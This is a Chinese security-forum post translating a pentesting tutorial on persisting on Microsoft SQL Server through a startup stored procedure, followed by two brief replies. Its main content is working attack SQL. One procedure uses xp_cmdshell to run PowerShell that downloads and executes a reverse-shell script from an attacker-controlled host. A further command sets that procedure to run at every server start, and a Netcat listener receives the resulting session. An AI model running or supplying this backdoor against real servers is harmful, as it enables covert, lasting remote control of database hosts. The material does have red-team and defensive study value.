首页
社区
课程
招聘
[原创][翻译]MSSQL渗透测试:存储过程的持久化
发表于: 2021-9-13 17:25 1065

[原创][翻译]MSSQL渗透测试:存储过程的持久化

2021-9-13 17:25
1065

原文信息

地址:https://www.hackingarticles.in/mssql-for-pentester-stored-procedures-persistence/
作者:Raj Chandel
日期:2021年9月13日


 

在本文中,我们将学习在SQL服务器中获得持久性的许多方法之一。这篇文章是对我们的MSSQL渗透测试系列的补充。

 

获得持久性是执行红队行动的重要步骤之一。当在MSSQL上执行这样的操作时,有可能通过启动存储过程、触发器和注册表项获得持久性。如果您拥有正确用户和数据库的权限,那么很容易实现持久性。如果实例是通过域用户运行的,持久性可能更隐蔽。

 

当通过启动存储过程获得持久性时,攻击者必须具有sysadmin权限。另一个重要的事情是这个存储过程应该在主数据库中。如果sa不拥有存储过程,它们将没有输入和输出参数,这意味着它们不会与服务器一起重新启动,这将超过持久性的全部要点。

 

因此,让我们开始,看看如何通过启动存储过程获得持久性。

 

首先,我们假设xp_cmdshell已启用,因此现在我们将使用以下查询来调用主数据库:

1
2
USE master
GO


现在我们将在wget的帮助下,在我们的攻击机器上下载PowerShell one-liner的脚本,如下图所示:

现在在脚本中,在cat命令的帮助下,用您的本地主机和本地端口交换给定的IP地址。切换IP地址后,让python服务器将PowerShell脚本共享给目标机器,如下图所示:

现在,让我们创建一个存储过程,它将从在线python服务器调用PowerShell脚本,为此,使用以下查询:

1
2
3
4
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
GO


现在我们将把这个存储过程移到启动阶段,因为我们希望它在服务器启动时立即执行。我们将在以下查询的帮助下做到这一点:

1
2
3
EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';


现在,我们在启动时有了存储过程,您可以使用以下查询来确认:

1
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;


让我们打开我们的Netcat监听器,如下图所示:

现在只剩下重启服务器了。要重新启动服务器,右键单击它并从下拉菜单中选择停止选项,如下图所示:

然后再次右键单击服务器,并从下拉菜单中选择开始选项,如下图所示:

服务器重新启动后,您将在netcat上有一个会话。

这就是如何使用启动存储过程在本地获得持久性
作者:Yashika Dhir是一名网络安全研究员、渗透测试员、红队队员、紫队发烧友。在LinkedinTwitter上联系她


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-9-13 17:41 被梦幻的彼岸编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 152
活跃值: (220)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好家伙 一天一个入狱小技巧
2021-9-13 18:32
0
雪    币: 4086
活跃值: (5766)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
3
挺鸡助的
2021-9-13 23:11
0
游客
登录 | 注册 方可回帖
返回
//